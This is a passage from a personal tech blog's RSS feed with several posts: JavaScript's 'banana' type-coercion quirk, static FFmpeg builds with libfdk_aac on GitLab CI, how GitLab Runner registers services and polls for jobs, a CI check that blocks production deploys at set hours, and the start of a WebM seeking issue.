&lt;th&gt;Operator type&lt;/th&gt;
&lt;th&gt;Associativity&lt;/th&gt;
&lt;th&gt;Operator&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;Parentheses&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Unary plus&lt;/td&gt;
&lt;td&gt;Right to left&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+ ...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Addition&lt;/td&gt;
&lt;td&gt;Left to right&lt;/td&gt;
&lt;td&gt;&lt;code&gt;... + ...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OK, with that in mind, let’s break the expression apart.&lt;/p&gt;
&lt;p&gt;First drop &lt;code&gt;toLowerCase&lt;/code&gt;. That function is useless; it is only there to throw you off.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&apos;b&apos; + &apos;a&apos; + + &apos;a&apos; + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + (+ &apos;a&apos;) + &apos;a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the important part: unary plus binds tighter than addition, so I marked it with parentheses.&lt;/p&gt;
&lt;p&gt;Here is what MDN says about unary plus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The unary plus operator precedes its operand and evaluates it as a number. If the operand is not a number, it tries to convert it to one. Unary minus can also convert non-numeric types, but unary plus is the fastest way to convert other objects to numbers, and the recommended one, because it does not perform any extra operations on the number. It can convert strings to integers and floats, and it can also convert the non-string values true, false, and null. Decimal and hexadecimal strings can be converted to numbers. Negative numeric strings can be converted too (this does not apply to hex). If it cannot parse a value, the result is NaN.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pay attention to these two bits: &lt;code&gt;if the operand is not a number, it tries to convert it to a number&lt;/code&gt; and &lt;code&gt;if it cannot parse a value, the result is NaN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;+ &apos;a&apos;&lt;/code&gt; in the snippet becomes &lt;code&gt;NaN&lt;/code&gt;. The steps:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&apos;b&apos; + &apos;a&apos; + (+ &apos;a&apos;) + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + Number(&apos;a&apos;) + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + NaN + &apos;a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Clearer already. Next comes implicit conversion. One of JavaScript’s rules for &lt;code&gt;+&lt;/code&gt; is that if either operand is a string, the other is converted to a string too. So &lt;code&gt;NaN&lt;/code&gt; goes through &lt;code&gt;toString&lt;/code&gt;. What does that produce? &lt;code&gt;ECMA-262&lt;/code&gt; covers it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/javascript-output-banana/ecma-tostring-nan.png&quot; alt=&quot;ECMA-262 section 9.8.1 ToString Applied to the Number Type: if m is NaN, return the string NaN&quot;&gt;&lt;/p&gt;
&lt;p&gt;In other words, &lt;code&gt;NaN&lt;/code&gt; becomes &lt;code&gt;&quot;NaN&quot;&lt;/code&gt;. So the expression is now:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&apos;b&apos; + &apos;a&apos; + NaN + &apos;a&apos;
// to
&apos;b&apos; + &apos;a&apos; + &quot;NaN&quot; + &apos;a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally &lt;code&gt;toLowerCase&lt;/code&gt; lowercases it, and you get &lt;code&gt;banana&lt;/code&gt;.&lt;/p&gt;
</content:encoded><category>javascript</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>From the fdk_aac encoder to automated static FFmpeg builds</title><link>https://bugs.cc/posts/in-fdk-aac-to-ffmpeg-static-build/</link><guid isPermaLink="true">https://bugs.cc/posts/in-fdk-aac-to-ffmpeg-static-build/</guid><description>Integrating the libfdk_aac encoder into FFmpeg, and using a free gitlab-runner to automatically statically compile FFmpeg</description><pubDate>Mon, 15 Jul 2019 02:20:57 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I have been doing some video-processing tasks at work, and ran into a requirement to extract the audio from an MP4 into AAC.&lt;/p&gt;
&lt;p&gt;My first thought was that it was simple: just &lt;code&gt;ffmpeg -i source.mp4 -vn -acodec copy sound.aac&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That turned out to be wrong. The AAC &lt;code&gt;duration&lt;/code&gt; and the MP4 &lt;code&gt;duration&lt;/code&gt; were completely different. See:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffprobe-duration-mismatch.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I also tried the methods on the internet, but none of them fixed it.&lt;/p&gt;
&lt;h2&gt;Analysis / fix&lt;/h2&gt;
&lt;p&gt;After testing, I found that different bit rates produced different AAC Duration values.&lt;/p&gt;
&lt;p&gt;But how was I supposed to know what the bit rate was? So I traced it from the start.&lt;/p&gt;
&lt;p&gt;First, the MP4 came from Webm, and the Webm video came from &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/API/MediaRecorder/MediaRecorder&quot;&gt;MediaRecorder&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I looked at the &lt;code&gt;MediaRecorder API&lt;/code&gt; again and found this property:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;audioBitsPerSecond&lt;/code&gt;: specifies the audio bit rate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OK, found it. I changed the code, added the &lt;code&gt;audioBitsPerSecond&lt;/code&gt; property on the &lt;code&gt;MediaRecorder&lt;/code&gt; interface, and set it to &lt;code&gt;128000&lt;/code&gt;, which is &lt;code&gt;128K&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then I converted with the command below and checked the result:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffmpeg -i source.mp4 -vn -acodec aac -b:a 128k -y sound.aac
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That did not improve things…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffprobe-duration-128k.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then I wondered whether, even with a constant bit rate, there was still some drift, so I changed &lt;code&gt;128k&lt;/code&gt; to &lt;code&gt;200k&lt;/code&gt; and tried:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffmpeg-aac-200k.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Not only did it not fix it, it increased &lt;code&gt;duration&lt;/code&gt; even more.&lt;/p&gt;
&lt;p&gt;When I was close to giving up, &lt;a href=&quot;https://github.com/rurico&quot;&gt;rurico&lt;/a&gt; suggested trying the &lt;code&gt;libfdk_aac&lt;/code&gt; encoder. So I recompiled FFmpeg to install the &lt;code&gt;libfdk_aac&lt;/code&gt; encoder (extra encoders in FFmpeg require a rebuild).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/ffmpeg-libfdk-aac.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It worked…&lt;/p&gt;
&lt;h2&gt;Statically compiling FFmpeg / automation&lt;/h2&gt;
&lt;p&gt;But that only worked on a Mac. I needed it to run on &lt;code&gt;Ubuntu&lt;/code&gt;, and the thought of compiling all of &lt;code&gt;FFmpeg&lt;/code&gt; on &lt;code&gt;Ubuntu Docker&lt;/code&gt; already made my scalp tingle. (I spent 4 hours trying to compile FFmpeg with libfdk_aac on Ubuntu, and failed in the end.)&lt;/p&gt;
&lt;p&gt;After I got home from work and finished dinner, I searched &lt;code&gt;ubuntu build ffmpeg&lt;/code&gt; again and saw &lt;code&gt;static build&lt;/code&gt;. It clicked.&lt;/p&gt;
&lt;p&gt;So I looked for a ready-made statically built FFmpeg. There are some, but because of the libfdk_aac &lt;a href=&quot;https://android.googlesource.com/platform/external/aac/+/master/NOTICE&quot;&gt;LICENSE&lt;/a&gt;, they generally do not include libfdk_aac.&lt;/p&gt;
&lt;p&gt;Then I found an open source FFmpeg static build project on GitHub: &lt;a href=&quot;https://github.com/zimbatm/ffmpeg-static&quot;&gt;ffmpeg-static&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Testing showed it was fine, but from inside China every download, install, and compile was slow, so I remembered GitLab has a free &lt;code&gt;runner&lt;/code&gt;. I created a project on GitLab for automatic builds.&lt;/p&gt;
&lt;p&gt;You only need to add &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; to the project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;image: ubuntu:18.04

stages:
  - build

build-ubuntu:
  stage: build
  script:
    - apt-get update
    - apt-get install -yq bzip2 xz-utils perl tar wget git bc
    - apt-get install -yq autoconf automake build-essential cmake curl frei0r-plugins-dev gawk libfontconfig-dev libfreetype6-dev libopencore-amrnb-dev libopencore-amrwb-dev libsdl2-dev libspeex-dev libtheora-dev libtool libva-dev libvdpau-dev libvo-amrwbenc-dev libvorbis-dev libwebp-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev libxvidcore-dev lsb-release pkg-config texi2html yasm
    - git clone https://github.com/BlackHole1/ffmpeg-static
    - cd ffmpeg-static
    - chmod 777 *
    - ./build-ubuntu.sh -B
  artifacts:
    name: build
    paths:
      - ./ffmpeg-static/bin/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then push to GitLab, CI triggers automatically. Half an hour later, the result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/gitlab-pipeline-passed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/gitlab-job-artifacts.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;gitlab project: &lt;a href=&quot;https://gitlab.com/BlackHole1/ffmpeg-static-build&quot;&gt;https://gitlab.com/BlackHole1/ffmpeg-static-build&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>ffmpeg</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>GitLab Runner service registration and job capture</title><link>https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/</link><guid isPermaLink="true">https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/</guid><description>Reading the source to understand how GitLab Runner captures jobs</description><pubDate>Sat, 06 Jul 2019 08:12:58 GMT</pubDate><content:encoded>&lt;h2&gt;Environment setup&lt;/h2&gt;
&lt;p&gt;You can follow &lt;a href=&quot;https://docs.gitlab.com/runner/development/README.html&quot;&gt;https://docs.gitlab.com/runner/development/README.html&lt;/a&gt; to set this up. Note that the Go version is best kept at &lt;code&gt;go1.8.7&lt;/code&gt;. With a newer Go version, the install may fail.&lt;/p&gt;
&lt;h2&gt;Command registration&lt;/h2&gt;
&lt;p&gt;When &lt;code&gt;gitlab-runner&lt;/code&gt; registers a runner, it needs three commands: &lt;code&gt;register&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt;, and &lt;code&gt;start&lt;/code&gt;. &lt;code&gt;install&lt;/code&gt; and &lt;code&gt;start&lt;/code&gt; are only for service registration.&lt;/p&gt;
&lt;p&gt;At the entry of &lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/main.go&quot;&gt;main.go&lt;/a&gt;, it calls &lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/main.go#L50&quot;&gt;common.GetCommands()&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That function registers commands. The core is:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/common/command.go#L20-27&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-command2-func.png&quot; alt=&quot;common/command.go#L20-27&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Name&lt;/code&gt; is the command we register. &lt;code&gt;Action&lt;/code&gt; is the method that runs after you invoke it.&lt;/p&gt;
&lt;p&gt;To register a command, call &lt;code&gt;RegisterCommand2(name, description, action type)&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;register&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;commands/register.go&lt;/code&gt; has an init function that registers &lt;code&gt;register&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L380&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-command-init.png&quot; alt=&quot;commands/register.go#L380&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;newRegisterCommand&lt;/code&gt; must return something with &lt;code&gt;Execute&lt;/code&gt;, which is the action for &lt;code&gt;register&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L345-363&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/new-register-command.png&quot; alt=&quot;commands/register.go#L345-363&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It returns a &lt;code&gt;RegisterCommand&lt;/code&gt;, and that type implements &lt;code&gt;Execute&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L288-338&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-execute-method.png&quot; alt=&quot;commands/register.go#L288-338&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;s.askRunner()&lt;/code&gt; is the prompts you get after typing the command: gitlab-ci URL, token, description, tags.&lt;/p&gt;
&lt;p&gt;Inside &lt;code&gt;askRunner&lt;/code&gt;, after you finish typing, there is a check that the values can actually connect to GitLab CI.&lt;/p&gt;
&lt;p&gt;Nothing much to say about that. After &lt;code&gt;askRunner&lt;/code&gt; come &lt;code&gt;askExecutor&lt;/code&gt; and &lt;code&gt;askExecutorOptions&lt;/code&gt;. Those ask which executor you want, the prompt we all know: &lt;code&gt;Please enter the executor: docker+machine, docker, docker-ssh, shell, docker-ssh+machine, kubernetes, parallels, ssh, virtualbox:&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;When you’re done, the values are saved to &lt;code&gt;~/.gitlab-runner/config.toml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At this point GitLab CI is already configured. I’ll cover &lt;code&gt;install&lt;/code&gt; and &lt;code&gt;start&lt;/code&gt; next.&lt;/p&gt;
&lt;h3&gt;install/start&lt;/h3&gt;
&lt;p&gt;After registration, &lt;code&gt;install&lt;/code&gt; installs the GitLab Runner service.&lt;/p&gt;
&lt;p&gt;Look at &lt;code&gt;commands/service.go&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L202-242&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/service-commands-init.png&quot; alt=&quot;commands/service.go#L202-242&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The other commands are mostly registered here. Ignore those for now and look at &lt;code&gt;install&lt;/code&gt; and &lt;code&gt;start&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Both of them run &lt;code&gt;RunServiceControl&lt;/code&gt;. That function is short:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L131-151&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/run-service-control.png&quot; alt=&quot;commands/service.go#L131-151&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;install&lt;/code&gt; is special: it also calls &lt;code&gt;runServiceInstall&lt;/code&gt;, which checks &lt;code&gt;config.toml&lt;/code&gt; and the current user. Not much to say. It then calls &lt;code&gt;service.Control(s, c.Command.Name)&lt;/code&gt;. That method comes from &lt;a href=&quot;https://github.com/ayufan/golang-kardianos-service&quot;&gt;github.com/ayufan/golang-kardianos-service&lt;/a&gt;, a library for registering OS services. So &lt;code&gt;gitlab-runner install&lt;/code&gt; is registering a service whose job is to keep &lt;code&gt;gitlab-runner&lt;/code&gt; running in the background and start it on boot.&lt;/p&gt;
&lt;p&gt;After the service is registered, &lt;code&gt;gitlab-runner start&lt;/code&gt; starts it.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/#user-content-fn-install-start&quot; id=&quot;user-content-fnref-install-start&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;When we call &lt;code&gt;service.Control(s, &apos;start&apos;)&lt;/code&gt;, it runs &lt;code&gt;s.Start()&lt;/code&gt;, which starts the service. Starting a service also needs a command line, so the system knows which command is the service. The code is:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L89-129&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/create-service-config.png&quot; alt=&quot;commands/service.go#L89-129&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Arguments&lt;/code&gt; is an array. The first element is &lt;code&gt;run&lt;/code&gt;, and the rest are &lt;code&gt;run&lt;/code&gt;’s flags.&lt;/p&gt;
&lt;p&gt;So when we use &lt;code&gt;gitlab-runner start&lt;/code&gt;, internally it uses &lt;code&gt;run&lt;/code&gt; as the service command. Here’s &lt;code&gt;Run&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/multi.go#L578-613&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/run-command-run.png&quot; alt=&quot;commands/multi.go#L578-613&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mr.feedRunners(runners)&lt;/code&gt; is just a heartbeat. Nothing to say.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mr.startWorkers(startWorker, stopWorker, runners)&lt;/code&gt; is the main path. After 5 or 6 calls, it ends up in &lt;code&gt;RequestJob&lt;/code&gt;. That’s the real work.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/network/gitlab.go#L264-298&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/request-job-func.png&quot; alt=&quot;network/gitlab.go#L264-298&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This sends a request asking GitLab whether there is a new job. If there is, it returns the &lt;code&gt;response&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Somewhere on the call chain, a method loops this function, which is how you get &lt;code&gt;polling&lt;/code&gt;.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/#user-content-fn-polling&quot; id=&quot;user-content-fnref-polling&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The end result: after &lt;code&gt;gitlab-runner&lt;/code&gt; starts, it keeps polling GitLab, asking whether there is a new job.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-install-start&quot;&gt;
&lt;p&gt;This could have been folded into install; I don’t know why the GitLab docs didn’t. &lt;a href=&quot;https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/#user-content-fnref-install-start&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-polling&quot;&gt;
&lt;p&gt;I used to think this was a websocket. It’s polling. Compatibility, maybe? &lt;a href=&quot;https://bugs.cc/posts/gitlab-runner-service-registry-and-principle/#user-content-fnref-polling&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>gitlab</category><category>runner</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Production deploy time checks with GitLab CI</title><link>https://bugs.cc/posts/gitlab-ci-production-date-check/</link><guid isPermaLink="true">https://bugs.cc/posts/gitlab-ci-production-date-check/</guid><description>Decide whether to ship by checking the current time</description><pubDate>Sat, 06 Jul 2019 08:10:32 GMT</pubDate><content:encoded>&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;At the company, a lot of projects have a hard rule for production deploys: Thursday and Friday need an email approval to ship to &lt;code&gt;production&lt;/code&gt;, Saturday and Sunday are off-limits, and Monday through Wednesday you cannot ship between 5pm and 9pm.&lt;/p&gt;
&lt;p&gt;The point is to cut the risk of shipping when not enough people are around.&lt;/p&gt;
&lt;p&gt;The only enforcement was each team’s self-discipline, and self-discipline is not a reliable control. I think we needed an actual constraint to bring that down.&lt;/p&gt;
&lt;h2&gt;Goal&lt;/h2&gt;
&lt;p&gt;With the background set, we need a goal. That is: on some branches, at some times, &lt;code&gt;CI&lt;/code&gt; should not auto-build.&lt;/p&gt;
&lt;p&gt;My first idea was a &lt;code&gt;git hook&lt;/code&gt;. That got rejected, because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pre-commit&lt;/code&gt; only sees commit time, not push time&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pre-push&lt;/code&gt; could work, but anyone can skip it with &lt;code&gt;--no-verify&lt;/code&gt;, and that skip is available to every member of the team.&lt;/li&gt;
&lt;li&gt;It cannot really handle &lt;code&gt;merge&lt;/code&gt;. The usual trick online is checking for a &lt;code&gt;Merge&lt;/code&gt; string in &lt;code&gt;prepare-commit-msg&lt;/code&gt;, which is not reliable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ideally, nobody on the team can control this, meaning it cannot be bypassed. The &lt;code&gt;git hook&lt;/code&gt; approach all runs on each person’s machine, so there are all kinds of ways around it.&lt;/p&gt;
&lt;p&gt;If local checks cannot meet the goal, the check has to live in &lt;code&gt;gitlab-ci&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;One prerequisite: only some people on the team can change CI, and there must be &lt;code&gt;code review&lt;/code&gt;. You need both before going any further.&lt;/p&gt;
&lt;p&gt;Add these two variables under &lt;code&gt;CI Variables&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;NOT_SUPPORT_HOUR 17,18,19,20,21
NOT_SUPPORT_WEEK 4,5,6,0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those variables are how you enforce &lt;strong&gt;only some people can change CI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Then add a &lt;code&gt;check_deploy stages&lt;/code&gt; in &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;, along with the related &lt;code&gt;pip&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;stages:
 - check_deploy
check_time:
  image: busybox
  stage: check_deploy
  script:
    - export TZ=UTC-8
    - export CURRENT_WEEK=$(date &apos;+%w&apos;)
    - export CURRENT_HOUR=$(date &apos;+%H&apos;)
    - if [ $(echo $NOT_SUPPORT_HOUR | grep &quot;${CURRENT_HOUR}&quot;) ]; then exit 126; fi;
    - if [ $(echo $NOT_SUPPORT_WEEK | grep &quot;${CURRENT_WEEK}&quot;) ]; then exit 126; fi;
  only:
    - master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It boots a &lt;code&gt;busybox&lt;/code&gt; container, compares the current time against the blocked windows, and exits with &lt;code&gt;126&lt;/code&gt; if you are inside one. It only applies to the deploy branch (&lt;code&gt;master&lt;/code&gt; here).&lt;/p&gt;
&lt;p&gt;That also matches the earlier point: &lt;strong&gt;there must be &lt;code&gt;code review&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The approach still has holes: the two prerequisites above, and that this kind of restriction should not live at the &lt;code&gt;team&lt;/code&gt; level. Ideally no team can change it; real control should sit one layer up. I don’t have a good way to pull that layer in yet, so this is how we gate deploys for now.&lt;/p&gt;
</content:encoded><category>ci/cd</category><category>gitlab</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Webm progress bar issue, analysis and a fix</title><link>https://bugs.cc/posts/webm-progress-bar-problem-and-solution/</link><guid isPermaLink="true">https://bugs.cc/posts/webm-progress-bar-problem-and-solution/</guid><description>Why it happens, and how to fix it</description><pubDate>Tue, 21 May 2019 07:30:21 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;When we generate a &lt;code&gt;webm&lt;/code&gt; with &lt;code&gt;getUserMedia&lt;/code&gt;, &lt;code&gt;MediaRecorder&lt;/code&gt;, and similar APIs, the resulting webm cannot seek. Unless you convert it with &lt;code&gt;FFmpeg&lt;/code&gt; to another format, or wait until the webm finishes playing, then you can drag the progress bar.&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;After a few hours of digging, it was not a misuse of &lt;code&gt;MediaRecorder&lt;/code&gt;. Other demos on the web produce the same broken webm.&lt;/p&gt;
&lt;p&gt;I first focused on the progress bar, found nothing online, tried all kinds of keywords, still nothing.&lt;/p&gt;
&lt;p&gt;Then I thought of analyzing the file with &lt;code&gt;FFmpeg&lt;/code&gt;. I ran &lt;code&gt;ffprobe rebirth-demo.webm&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;$ ffprobe rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags=&apos;-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin&apos; --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from &apos;rebirth-demo.webm&apos;:
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
